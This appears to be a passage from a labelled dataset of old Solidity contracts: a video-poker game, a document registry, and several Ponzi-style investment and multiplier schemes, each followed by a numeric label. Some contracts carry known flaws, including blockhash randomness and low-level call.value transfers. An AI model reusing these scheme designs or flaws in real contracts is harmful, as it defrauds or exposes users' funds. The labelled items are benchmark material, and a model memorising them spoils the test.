if (_maxSet==4) return HAND_FK;
if (_maxSet==3 && _numPairs==2) return HAND_FH;
if (_maxSet==3) return HAND_TK;
if (_numPairs==2) return HAND_TP;
if (_numPairs == 1 && (_pairVal >= 10 || _pairVal==0)) return HAND_JB;
return HAND_HC;
}
bool _hasStraight = _hasAce
? _maxNonAce == 4 || _minNonAce == 9
: _maxNonAce - _minNonAce == 4;
if (_hasStraight && _hasFlush && _minNonAce==9) return HAND_RF;
if (_hasStraight && _hasFlush) return HAND_SF;
if (_hasFlush) return HAND_FL;
if (_hasStraight) return HAND_ST;
return HAND_HC;
}
function handToCards(uint32 _hand)
public
pure
returns (uint8[5] _cards)
{
uint32 _mask;
for (uint _i=0; _i<5; _i++){
_mask = uint32(63 * 2**(6*_i));
_cards[_i] = uint8((_hand & _mask) / (2**(6*_i)));
}
}
function readFromCards(uint _cards, uint _index)
internal
pure
returns (uint)
{
uint _offset = 2**(6*_index);
uint _oneBits = 2**6 - 1;
return (_cards & (_oneBits * _offset)) / _offset;
}
function handToBitmap(uint32 _hand)
internal
pure
returns (uint _bitmap)
{
if (_hand == 0) return 0;
uint _mask;
uint _card;
for (uint _i=0; _i<5; _i++){
_mask = 63 * 2**(6*_i);
_card = (_hand & _mask) / (2**(6*_i));
_bitmap |= 2**_card;
}
}
function getCardsFromHash(uint256 _hash, uint _numCards, uint _usedBitmap)
internal
pure
returns (uint _cards)
{
if (_numCards == 0) return;
uint _cardIdx = 0;
uint _card;
uint _usedMask;
while (true) {
_card = _hash % 52;
_usedMask = 2**_card;
if (_usedBitmap & _usedMask == 0) {
_cards |= (_card * 2**(_cardIdx*6));
_usedBitmap |= _usedMask;
_cardIdx++;
if (_cardIdx == _numCards) return _cards;
}
_hash = uint256(keccak256(_hash));
}
}
}
contract VideoPoker is
VideoPokerUtils,
Bankrollable,
UsingAdmin
{
struct Game {
uint32 userId;
uint64 bet;
uint16 payTableId;
uint32 iBlock;
uint32 iHand;
uint8 draws;
uint32 dBlock;
uint32 dHand;
uint8 handRank;
}
struct Vars {
uint32 curId;
uint64 totalWageredGwei;
uint32 curUserId;
uint128 empty1;
uint64 totalWonGwei;
uint88 totalCredits;
uint8 empty2;
}
struct Settings {
uint64 minBet;
uint64 maxBet;
uint16 curPayTableId;
uint16 numPayTables;
uint32 lastDayAdded;
}
Settings settings;
Vars vars;
mapping(uint32 => Game) public games;
mapping(address => uint) public credits;
mapping (address => uint32) public userIds;
mapping (uint32 => address) public userAddresses;
mapping(uint16=>uint16[12]) payTables;
uint8 public constant version = 1;
uint8 constant WARN_IHAND_TIMEOUT = 1;
uint8 constant WARN_DHAND_TIMEOUT = 2;
uint8 constant WARN_BOTH_TIMEOUT = 3;
event Created(uint time);
event PayTableAdded(uint time, address admin, uint payTableId);
event SettingsChanged(uint time, address admin);
event BetSuccess(uint time, address indexed user, uint32 indexed id, uint bet, uint payTableId);
event BetFailure(uint time, address indexed user, uint bet, string msg);
event DrawSuccess(uint time, address indexed user, uint32 indexed id, uint32 iHand, uint8 draws, uint8 warnCode);
event DrawFailure(uint time, address indexed user, uint32 indexed id, uint8 draws, string msg);
event FinalizeSuccess(uint time, address indexed user, uint32 indexed id, uint32 dHand, uint8 handRank, uint payout, uint8 warnCode);
event FinalizeFailure(uint time, address indexed user, uint32 indexed id, string msg);
event CreditsAdded(uint time, address indexed user, uint32 indexed id, uint amount);
event CreditsUsed(uint time, address indexed user, uint32 indexed id, uint amount);
event CreditsCashedout(uint time, address indexed user, uint amount);
constructor(address _registry)
Bankrollable(_registry)
UsingAdmin(_registry)
public
{
_addPayTable(800, 50, 25, 9, 6, 4, 3, 2, 1);
vars.empty1 = 1;
vars.empty2 = 1;
settings.minBet = .001 ether;
settings.maxBet = .5 ether;
emit Created(now);
}
function changeSettings(uint64 _minBet, uint64 _maxBet, uint8 _payTableId)
public
fromAdmin
{
require(_minBet <= _maxBet);
require(_maxBet <= .625 ether);
require(_payTableId < settings.numPayTables);
settings.minBet = _minBet;
settings.maxBet = _maxBet;
settings.curPayTableId = _payTableId;
emit SettingsChanged(now, msg.sender);
}
function addPayTable(
uint16 _rf, uint16 _sf, uint16 _fk, uint16 _fh,
uint16 _fl, uint16 _st, uint16 _tk, uint16 _tp, uint16 _jb
)
public
fromAdmin
{
uint32 _today = uint32(block.timestamp / 1 days);
require(settings.lastDayAdded < _today);
settings.lastDayAdded = _today;
_addPayTable(_rf, _sf, _fk, _fh, _fl, _st, _tk, _tp, _jb);
emit PayTableAdded(now, msg.sender, settings.numPayTables-1);
}
function addCredits()
public
payable
{
_creditUser(msg.sender, msg.value, 0);
}
function cashOut(uint _amt)
public
{
_uncreditUser(msg.sender, _amt);
}
function bet()
public
payable
{
uint _bet = msg.value;
if (_bet > settings.maxBet)
return _betFailure("Bet too large.", _bet, true);
if (_bet < settings.minBet)
return _betFailure("Bet too small.", _bet, true);
if (_bet > curMaxBet())
return _betFailure("The bankroll is too low.", _bet, true);
uint32 _id = _createNewGame(uint64(_bet));
emit BetSuccess(now, msg.sender, _id, _bet, settings.curPayTableId);
}
function betWithCredits(uint64 _bet)
public
{
if (_bet > settings.maxBet)
return _betFailure("Bet too large.", _bet, false);
if (_bet < settings.minBet)
return _betFailure("Bet too small.", _bet, false);
if (_bet > curMaxBet())
return _betFailure("The bankroll is too low.", _bet, false);
if (_bet > credits[msg.sender])
return _betFailure("Insufficient credits", _bet, false);
uint32 _id = _createNewGame(uint64(_bet));
credits[msg.sender] -= _bet;
emit CreditsUsed(now, msg.sender, _id, _bet);
emit BetSuccess(now, msg.sender, _id, _bet, settings.curPayTableId);
}
function betFromGame(uint32 _id, bytes32 _hashCheck)
public
{
bool _didFinalize = finalize(_id, _hashCheck);
uint64 _bet = games[_id].bet;
if (!_didFinalize)
return _betFailure("Failed to finalize prior game.", _bet, false);
betWithCredits(_bet);
}
function _betFailure(string _msg, uint _bet, bool _doRefund)
private
{
if (_doRefund) require(msg.sender.call.value(_bet)());
emit BetFailure(now, msg.sender, _bet, _msg);
}
function draw(uint32 _id, uint8 _draws, bytes32 _hashCheck)
public
{
Game storage _game = games[_id];
address _user = userAddresses[_game.userId];
if (_game.iBlock == 0)
return _drawFailure(_id, _draws, "Invalid game Id.");
if (_user != msg.sender)
return _drawFailure(_id, _draws, "This is not your game.");
if (_game.iBlock == block.number)
return _drawFailure(_id, _draws, "Initial cards not available.");
if (_game.dBlock != 0)
return _drawFailure(_id, _draws, "Cards already drawn.");
if (_draws > 31)
return _drawFailure(_id, _draws, "Invalid draws.");
if (_draws == 0)
return _drawFailure(_id, _draws, "Cannot draw 0 cards. Use finalize instead.");
if (_game.handRank != HAND_UNDEFINED)
return _drawFailure(_id, _draws, "Game already finalized.");
_draw(_game, _id, _draws, _hashCheck);
}
function _drawFailure(uint32 _id, uint8 _draws, string _msg)
private
{
emit DrawFailure(now, msg.sender, _id, _draws, _msg);
}
function finalize(uint32 _id, bytes32 _hashCheck)
public
returns (bool _didFinalize)
{
Game storage _game = games[_id];
address _user = userAddresses[_game.userId];
if (_game.iBlock == 0)
return _finalizeFailure(_id, "Invalid game Id.");
if (_user != msg.sender)
return _finalizeFailure(_id, "This is not your game.");
if (_game.iBlock == block.number)
return _finalizeFailure(_id, "Initial hand not avaiable.");
if (_game.dBlock == block.number)
return _finalizeFailure(_id, "Drawn cards not available.");
if (_game.handRank != HAND_UNDEFINED)
return _finalizeFailure(_id, "Game already finalized.");
_finalize(_game, _id, _hashCheck);
return true;
}
function _finalizeFailure(uint32 _id, string _msg)
private
returns (bool)
{
emit FinalizeFailure(now, msg.sender, _id, _msg);
return false;
}
function _addPayTable(
uint16 _rf, uint16 _sf, uint16 _fk, uint16 _fh,
uint16 _fl, uint16 _st, uint16 _tk, uint16 _tp, uint16 _jb
)
private
{
require(_rf<=1600 && _sf<=100 && _fk<=50 && _fh<=18 && _fl<=12
&& _st<=8 && _tk<=6 && _tp<=4 && _jb<=2);
uint16[12] memory _pt;
_pt[HAND_UNDEFINED] = 0;
_pt[HAND_RF] = _rf;
_pt[HAND_SF] = _sf;
_pt[HAND_FK] = _fk;
_pt[HAND_FH] = _fh;
_pt[HAND_FL] = _fl;
_pt[HAND_ST] = _st;
_pt[HAND_TK] = _tk;
_pt[HAND_TP] = _tp;
_pt[HAND_JB] = _jb;
_pt[HAND_HC] = 0;
_pt[HAND_NOT_COMPUTABLE] = 0;
payTables[settings.numPayTables] = _pt;
settings.numPayTables++;
}
function _creditUser(address _user, uint _amt, uint32 _gameId)
private
{
if (_amt == 0) return;
uint64 _incr = _gameId == 0 ? 0 : uint64(_amt / 1e9);
uint88 _totalCredits = vars.totalCredits + uint88(_amt);
uint64 _totalWonGwei = vars.totalWonGwei + _incr;
vars.totalCredits = _totalCredits;
vars.totalWonGwei = _totalWonGwei;
credits[_user] += _amt;
emit CreditsAdded(now, _user, _gameId, _amt);
}
function _uncreditUser(address _user, uint _amt)
private
{
if (_amt > credits[_user] || _amt == 0) _amt = credits[_user];
if (_amt == 0) return;
vars.totalCredits -= uint88(_amt);
credits[_user] -= _amt;
require(_user.call.value(_amt)());
emit CreditsCashedout(now, _user, _amt);
}
function _createNewGame(uint64 _bet)
private
returns (uint32 _curId)
{
uint32 _curUserId = vars.curUserId;
uint32 _userId = userIds[msg.sender];
if (_userId == 0) {
_curUserId++;
userIds[msg.sender] = _curUserId;
userAddresses[_curUserId] = msg.sender;
_userId = _curUserId;
}
_curId = vars.curId + 1;
uint64 _totalWagered = vars.totalWageredGwei + _bet / 1e9;
vars.curId = _curId;
vars.totalWageredGwei = _totalWagered;
vars.curUserId = _curUserId;
uint16 _payTableId = settings.curPayTableId;
Game storage _game = games[_curId];
_game.userId = _userId;
_game.bet = _bet;
_game.payTableId = _payTableId;
_game.iBlock = uint32(block.number);
return _curId;
}
function _draw(Game storage _game, uint32 _id, uint8 _draws, bytes32 _hashCheck)
private
{
assert(_game.dBlock == 0);
uint32 _iHand;
bytes32 _iBlockHash = blockhash(_game.iBlock);
uint8 _warnCode;
if (_iBlockHash != 0) {
if (_iBlockHash != _hashCheck) {
return _drawFailure(_id, _draws, "HashCheck Failed. Try refreshing game.");
}
_iHand = getHand(uint(keccak256(_iBlockHash, _id)));
} else {
_warnCode = WARN_IHAND_TIMEOUT;
_draws = 31;
}
_game.iHand = _iHand;
_game.draws = _draws;
_game.dBlock = uint32(block.number);
emit DrawSuccess(now, msg.sender, _id, _game.iHand, _draws, _warnCode);
}
function _finalize(Game storage _game, uint32 _id, bytes32 _hashCheck)
private
{
assert(_game.handRank == HAND_UNDEFINED);
address _user = userAddresses[_game.userId];
bytes32 _blockhash;
uint32 _dHand;
uint32 _iHand;
uint8 _warnCode;
if (_game.draws != 0) {
_blockhash = blockhash(_game.dBlock);
if (_blockhash != 0) {
_dHand = drawToHand(uint(keccak256(_blockhash, _id)), _game.iHand, _game.draws);
} else {
if (_game.iHand != 0){
_dHand = _game.iHand;
_warnCode = WARN_DHAND_TIMEOUT;
} else {
_dHand = 0;
_warnCode = WARN_BOTH_TIMEOUT;
}
}
} else {
_blockhash = blockhash(_game.iBlock);
if (_blockhash != 0) {
if (_blockhash != _hashCheck) {
_finalizeFailure(_id, "HashCheck Failed. Try refreshing game.");
return;
}
_iHand = getHand(uint(keccak256(_blockhash, _id)));
_dHand = _iHand;
} else {
_finalizeFailure(_id, "Initial hand not available. Drawing 5 new cards.");
_game.draws = 31;
_game.dBlock = uint32(block.number);
emit DrawSuccess(now, _user, _id, 0, 31, WARN_IHAND_TIMEOUT);
return;
}
}
uint8 _handRank = _dHand == 0
? uint8(HAND_NOT_COMPUTABLE)
: uint8(getHandRank(_dHand));
if (_iHand > 0) _game.iHand = _iHand;
_game.dHand = _dHand;
_game.handRank = _handRank;
uint _payout = payTables[_game.payTableId][_handRank] * uint(_game.bet);
if (_payout > 0) _creditUser(_user, _payout, _id);
emit FinalizeSuccess(now, _user, _id, _game.dHand, _game.handRank, _payout, _warnCode);
}
function getCollateral() public view returns (uint _amount) {
return vars.totalCredits;
}
function getWhitelistOwner() public view returns (address _wlOwner) {
return getAdmin();
}
function curMaxBet() public view returns (uint) {
uint _maxPayout = payTables[settings.curPayTableId][HAND_RF] * 2;
return bankrollAvailable() / _maxPayout;
}
function effectiveMaxBet() public view returns (uint _amount) {
uint _curMax = curMaxBet();
return _curMax > settings.maxBet ? settings.maxBet : _curMax;
}
function getPayTable(uint16 _payTableId)
public
view
returns (uint16[12])
{
require(_payTableId < settings.numPayTables);
return payTables[_payTableId];
}
function getCurPayTable()
public
view
returns (uint16[12])
{
return getPayTable(settings.curPayTableId);
}
function getIHand(uint32 _id)
public
view
returns (uint32)
{
Game memory _game = games[_id];
if (_game.iHand != 0) return _game.iHand;
if (_game.iBlock == 0) return;
bytes32 _iBlockHash = blockhash(_game.iBlock);
if (_iBlockHash == 0) return;
return getHand(uint(keccak256(_iBlockHash, _id)));
}
function getDHand(uint32 _id)
public
view
returns (uint32)
{
Game memory _game = games[_id];
if (_game.dHand != 0) return _game.dHand;
if (_game.draws == 0) return _game.iHand;
if (_game.dBlock == 0) return;
bytes32 _dBlockHash = blockhash(_game.dBlock);
if (_dBlockHash == 0) return _game.iHand;
return drawToHand(uint(keccak256(_dBlockHash, _id)), _game.iHand, _game.draws);
}
function getDHandRank(uint32 _id)
public
view
returns (uint8)
{
uint32 _dHand = getDHand(_id);
return _dHand == 0
? uint8(HAND_NOT_COMPUTABLE)
: uint8(getHandRank(_dHand));
}
function curId() public view returns (uint32) {
return vars.curId;
}
function totalWagered() public view returns (uint) {
return uint(vars.totalWageredGwei) * 1e9;
}
function curUserId() public view returns (uint) {
return uint(vars.curUserId);
}
function totalWon() public view returns (uint) {
return uint(vars.totalWonGwei) * 1e9;
}
function totalCredits() public view returns (uint) {
return vars.totalCredits;
}
function minBet() public view returns (uint) {
return settings.minBet;
}
function maxBet() public view returns (uint) {
return settings.maxBet;
}
function curPayTableId() public view returns (uint) {
return settings.curPayTableId;
}
function numPayTables() public view returns (uint) {
return settings.numPayTables;
}
} | 0 | 716 |
pragma solidity ^0.4.24;
contract MainContract {
address owner;
address advertisingAddress;
uint private constant minInvest = 5 finney;
using Calc for uint;
using PercentCalc for PercentCalc.percent;
using Zero for *;
using compileLibrary for *;
struct User {
uint idx;
uint value;
uint bonus;
bool invested10Eth;
uint payTime;
}
mapping(address => User) investorsStorage;
address[] users;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
event logsDataPayable(uint value, uint time, address indexed addr);
event logsDataConstructor(address creater, uint when, string text);
event newInvestor(address indexed addr, uint when, uint value);
event investToProject(address creater, uint when, string text);
event logPayDividends(uint value, uint when, address indexed addr, string text);
event logPayBonus(uint value, uint when, address indexed addr, string text);
event notEnoughETH(uint when, string text);
constructor() public {
owner = msg.sender;
users.length++;
emit logsDataConstructor(msg.sender, now, "constructor");
}
PercentCalc.percent private dividendPercent = PercentCalc.percent(3);
PercentCalc.percent private refPercent = PercentCalc.percent(2);
PercentCalc.percent private advertisingPercent = PercentCalc.percent(8);
PercentCalc.percent private ownerPercent = PercentCalc.percent(5);
PercentCalc.percent private dividendPercentBonus = PercentCalc.percent(4);
PercentCalc.percent private refPercentBonus = PercentCalc.percent(3);
function() public payable {
if (msg.value == 0) {
fetchDividends();
return;
}
require(msg.value >= minInvest, "value can't be < than 0.005");
if (investorsStorage[msg.sender].idx > 0) {
investorsStorage[msg.sender].value += msg.value;
if (!investorsStorage[msg.sender].invested10Eth && msg.value >= 10 ether) {
investorsStorage[msg.sender].invested10Eth = true;
}
} else {
address ref = msg.data.toAddr();
uint idx = investorsStorage[msg.sender].idx;
uint value = msg.value;
idx = users.length++;
if (ref.notZero() && investorsStorage[ref].idx > 0) {
setUserBonus(ref, msg.value);
value += refPercent.getValueByPercent(value);
}
emit newInvestor(msg.sender, now, msg.value);
investorsStorage[msg.sender] = User({
idx : idx,
value : value,
bonus : 0,
invested10Eth: msg.value >= 10 ether,
payTime : now
});
}
sendValueToOwner(msg.value);
sendValueToAdv(msg.value);
emit logsDataPayable(msg.value, now, msg.sender);
}
function setUserBonus(address addr, uint value) private {
uint bonus = refPercent.getValueByPercent(value);
if (investorsStorage[addr].idx > 0) {
if (investorsStorage[addr].invested10Eth) bonus = refPercentBonus.getValueByPercent(value);
investorsStorage[addr].bonus += bonus;
emit logPayBonus(bonus, now, addr, "investor got bonuses!");
} else {
sendValueToAdv(bonus);
}
}
function fetchDividends() private {
User memory inv = findInvestorByAddress(msg.sender);
require(inv.idx > 0, "payer is not investor");
uint payValueByTime = now.sub(inv.payTime).getDiffValue(12 hours);
require(payValueByTime > 0, "the payment was earlier than 12 hours");
uint dividendValue = (dividendPercent.getValueByPercent(inv.value) * payValueByTime) / 2;
if (inv.invested10Eth) dividendValue = (dividendPercentBonus.getValueByPercent(inv.value) * payValueByTime) / 2;
if (address(this).balance < dividendValue + inv.bonus) {
emit notEnoughETH(now, "not enough eth");
return;
}
if (inv.bonus > 0) {
sendDividendsWithBonus(msg.sender, dividendValue, inv.bonus);
} else {
sendDividends(msg.sender, dividendValue);
}
}
function setAdvertisingAddress(address addr) public onlyOwner {
advertisingAddress = addr;
}
function sendDividends(address addr, uint value) private {
updatePayTime(addr, now);
emit logPayDividends(value, now, addr, "dividends");
addr.transfer(value);
}
function sendDividendsWithBonus(address addr, uint value, uint bonus) private {
updatePayTime(addr, now);
emit logPayDividends(value + bonus, now, addr, "dividends with bonus");
addr.transfer(value + bonus);
investorsStorage[addr].bonus = 0;
}
function findInvestorByAddress(address addr) internal view returns (User) {
return User(
investorsStorage[addr].idx,
investorsStorage[addr].value,
investorsStorage[addr].bonus,
investorsStorage[addr].invested10Eth,
investorsStorage[addr].payTime
);
}
function sendValueToOwner(uint val) private {
owner.transfer(ownerPercent.getValueByPercent(val));
}
function sendValueToAdv(uint val) private {
advertisingAddress.transfer(advertisingPercent.getValueByPercent(val));
}
function updatePayTime(address addr, uint time) private returns (bool) {
if (investorsStorage[addr].idx == 0) return false;
investorsStorage[addr].payTime = time;
return true;
}
}
library Calc {
function getDiffValue(uint _a, uint _b) internal pure returns (uint) {
require(_b > 0);
uint c = _a / _b;
return c;
}
function sub(uint _a, uint _b) internal pure returns (uint) {
require(_b <= _a);
uint c = _a - _b;
return c;
}
}
library PercentCalc {
struct percent {
uint val;
}
function getValueByPercent(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a * p.val / 100;
}
}
library Zero {
function notZero(address addr) internal pure returns (bool) {
return !(addr == address(0));
}
}
library compileLibrary {
function toAddr(bytes source) internal pure returns (address addr) {
assembly {addr := mload(add(source, 0x14))}
return addr;
}
} | 1 | 3,780 |
pragma solidity ^0.4.18;
contract DocumentRegistry {
mapping(string => uint256) registry;
function register(string hash) public {
require(registry[hash] == 0);
registry[hash] = block.timestamp;
}
function check(string hash) public constant returns (uint256) {
return registry[hash];
}
} | 0 | 50 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EtherheroStabilizationFund {
address public etherHero;
uint public investFund;
uint estGas = 200000;
event MoneyWithdraw(uint balance);
event MoneyAdd(uint holding);
constructor() public {
etherHero = msg.sender;
}
modifier onlyHero() {
require(msg.sender == etherHero, 'Only Hero call');
_;
}
function ReturnEthToEtherhero() public onlyHero returns(bool) {
uint balance = address(this).balance;
require(balance > estGas, 'Not enough funds for transaction');
if (etherHero.call.value(address(this).balance).gas(estGas)()) {
emit MoneyWithdraw(balance);
investFund = address(this).balance;
return true;
} else {
return false;
}
}
function() external payable {
investFund += msg.value;
emit MoneyAdd(msg.value);
}
}
contract Etherhero{
using SafeMath
for uint;
mapping(address => uint) public userDeposit;
mapping(address => uint) public userTime;
address public projectFund = 0xf846f84841b3242Ccdeac8c43C9cF73Bd781baA7;
EtherheroStabilizationFund public stubF = new EtherheroStabilizationFund();
uint public percentProjectFund = 10;
uint public percentDevFund = 1;
uint public percentStubFund = 10;
address public addressStub;
uint estGas = 150000;
uint standartPercent = 30;
uint responseStubFundLimit = 150;
uint public minPayment = 5 finney;
uint chargingTime = 1 days;
event NewInvestor(address indexed investor, uint deposit);
event dividendPayment(address indexed investor, uint value);
event NewDeposit(address indexed investor, uint value);
uint public counterDeposits;
uint public counterPercents;
uint public counterBeneficiaries;
uint public timeLastayment;
struct Beneficiaries {
address investorAddress;
uint registerTime;
uint percentWithdraw;
uint ethWithdraw;
uint deposits;
bool real;
}
mapping(address => Beneficiaries) beneficiaries;
constructor() public {
addressStub = stubF;
}
function insertBeneficiaries(address _address, uint _percentWithdraw, uint _ethWithdraw, uint _deposits) private {
Beneficiaries storage s_beneficiaries = beneficiaries[_address];
if (!s_beneficiaries.real) {
s_beneficiaries.real = true;
s_beneficiaries.investorAddress = _address;
s_beneficiaries.percentWithdraw = _percentWithdraw;
s_beneficiaries.ethWithdraw = _ethWithdraw;
s_beneficiaries.deposits = _deposits;
s_beneficiaries.registerTime = now;
counterBeneficiaries += 1;
} else {
s_beneficiaries.percentWithdraw += _percentWithdraw;
s_beneficiaries.ethWithdraw += _ethWithdraw;
}
}
function getBeneficiaries(address _address) public view returns(address investorAddress, uint persentWithdraw, uint ethWithdraw, uint registerTime) {
Beneficiaries storage s_beneficiaries = beneficiaries[_address];
require(s_beneficiaries.real, 'Investor Not Found');
return (
s_beneficiaries.investorAddress,
s_beneficiaries.percentWithdraw,
s_beneficiaries.ethWithdraw,
s_beneficiaries.registerTime
);
}
modifier isIssetUser() {
require(userDeposit[msg.sender] > 0, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= userTime[msg.sender].add(chargingTime), "Too fast payout request");
_;
}
function calculationOfPayment() public view returns(uint) {
uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime);
if (userDeposit[msg.sender] < 10 ether) {
if (interestRate >= 1) {
return (1);
} else {
return (interestRate);
}
}
if (userDeposit[msg.sender] >= 10 ether && userDeposit[msg.sender] < 50 ether) {
if (interestRate > 3) {
return (3);
} else {
return (interestRate);
}
}
if (userDeposit[msg.sender] >= 50 ether) {
if (interestRate > 7) {
return (7);
} else {
return (interestRate);
}
}
}
function receivePercent() isIssetUser timePayment internal {
uint balanceLimit = counterDeposits.mul(responseStubFundLimit).div(1000);
uint payoutRatio = calculationOfPayment();
uint remain = counterDeposits.mul(6).div(100);
if(addressStub.balance > 0){
if (address(this).balance < balanceLimit) {
stubF.ReturnEthToEtherhero();
}
}
require(address(this).balance >= remain, 'contract balance is too small');
uint rate = userDeposit[msg.sender].mul(standartPercent).div(1000).mul(payoutRatio);
userTime[msg.sender] = now;
msg.sender.transfer(rate);
counterPercents += rate;
timeLastayment = now;
insertBeneficiaries(msg.sender, standartPercent, rate, 0);
emit dividendPayment(msg.sender, rate);
}
function makeDeposit() private {
uint value = msg.value;
uint calcProjectPercent = value.mul(percentProjectFund).div(100);
uint calcStubFundPercent = value.mul(percentStubFund).div(100);
if (msg.value > 0) {
require(msg.value >= minPayment, 'Minimum deposit 1 finney');
if (userDeposit[msg.sender] == 0) {
emit NewInvestor(msg.sender, msg.value);
}
userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);
userTime[msg.sender] = now;
insertBeneficiaries(msg.sender, 0, 0, msg.value);
projectFund.transfer(calcProjectPercent);
stubF.call.value(calcStubFundPercent).gas(estGas)();
counterDeposits += msg.value;
emit NewDeposit(msg.sender, msg.value);
} else {
receivePercent();
}
}
function() external payable {
if (msg.sender != addressStub) {
makeDeposit();
}
}
} | 1 | 2,048 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract InvestorsStorage {
address private owner;
mapping (address => Investor) private investors;
struct Investor {
uint deposit;
uint checkpoint;
address referrer;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value) external onlyOwner {
investors[_address].deposit += _value;
investors[_address].checkpoint = block.timestamp;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function addReferrer(address _referral, address _referrer) external onlyOwner {
investors[_referral].referrer = _referrer;
}
function d(address _address) external view onlyOwner returns(uint) {
return investors[_address].deposit;
}
function c(address _address) external view onlyOwner returns(uint) {
return investors[_address].checkpoint;
}
function r(address _address) external view onlyOwner returns(address) {
return investors[_address].referrer;
}
}
contract SmartPyramid {
using SafeMath for uint;
address public owner;
address fee_address;
uint waveStartUp;
uint nextPayDay;
mapping (uint => Leader) top;
event LogInvestment(address _addr, uint _value);
event LogPayment(address _addr, uint _value);
event LogNewReferrer(address _referral, address _referrer);
event LogReferralInvestment(address _referral, uint _value);
event LogGift(address _first, address _second, address _third);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
struct Leader {
address addr;
uint deposit;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function addReferrer(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
x.addReferrer(msg.sender, _referrer);
x.r(msg.sender).transfer(_value / 20);
emit LogNewReferrer(msg.sender, _referrer);
emit LogReferralInvestment(msg.sender, _value);
}
}
constructor(address _fee_address) public {
owner = msg.sender;
fee_address = _fee_address;
x = new InvestorsStorage();
}
function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) {
deposit = x.d(_address);
if (block.timestamp >= x.c(_address) + 10 minutes) {
amountToWithdraw = (x.d(_address).mul(12).div(1000)).mul(block.timestamp.sub(x.c(_address))).div(1 days);
} else {
amountToWithdraw = 0;
}
}
function getTop() external view returns(address, uint, address, uint, address, uint) {
return(top[1].addr, top[1].deposit, top[2].addr, top[2].deposit, top[3].addr, top[3].deposit);
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() notOnPause public payable {
fee_address.transfer(msg.value * 16 / 100);
if (x.d(msg.sender) > 0) {
withdraw();
}
x.updateInfo(msg.sender, msg.value);
if (msg.value > top[3].deposit) {
toTheTop();
}
if (x.r(msg.sender) != 0x0) {
x.r(msg.sender).transfer(msg.value / 20);
emit LogReferralInvestment(msg.sender, msg.value);
} else if (msg.data.length == 20) {
addReferrer(msg.value);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() notOnPause public {
if (block.timestamp >= x.c(msg.sender) + 10 minutes) {
uint _payout = (x.d(msg.sender).mul(12).div(1000)).mul(block.timestamp.sub(x.c(msg.sender))).div(1 days);
x.updateCheckpoint(msg.sender);
}
if (_payout > 0) {
if (_payout > address(this).balance) {
nextWave();
return;
}
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function toTheTop() internal {
if (msg.value <= top[2].deposit) {
top[3] = Leader(msg.sender, msg.value);
} else {
if (msg.value <= top[1].deposit) {
top[3] = top[2];
top[2] = Leader(msg.sender, msg.value);
} else {
top[3] = top[2];
top[2] = top[1];
top[1] = Leader(msg.sender, msg.value);
}
}
}
function payDay() external {
require(block.timestamp >= nextPayDay);
nextPayDay = block.timestamp.sub((block.timestamp - 1538388000).mod(7 days)).add(7 days);
emit LogGift(top[1].addr, top[2].addr, top[3].addr);
for (uint i = 0; i <= 2; i++) {
top[i+1].addr.transfer(2 ether / 2 ** i);
top[i+1] = Leader(0x0, 0);
}
}
function nextWave() private {
for (uint i = 0; i <= 2; i++) {
top[i+1] = Leader(0x0, 0);
}
x = new InvestorsStorage();
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} | 0 | 1,901 |
pragma solidity ^0.4.25;
contract FastBetMultiplier01eth {
address public support;
uint constant public MULTIPLIER = 120;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
mapping (address => bool) public notSupport;
constructor() public {
support = msg.sender;
}
function () public payable {
if (msg.value == 0.0000001 ether) {
notSupport[msg.sender] = true;
return;
}
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value == 0.1 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
if (!notSupport[msg.sender]) {
support.transfer(msg.value * 5 / 1000);
}
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
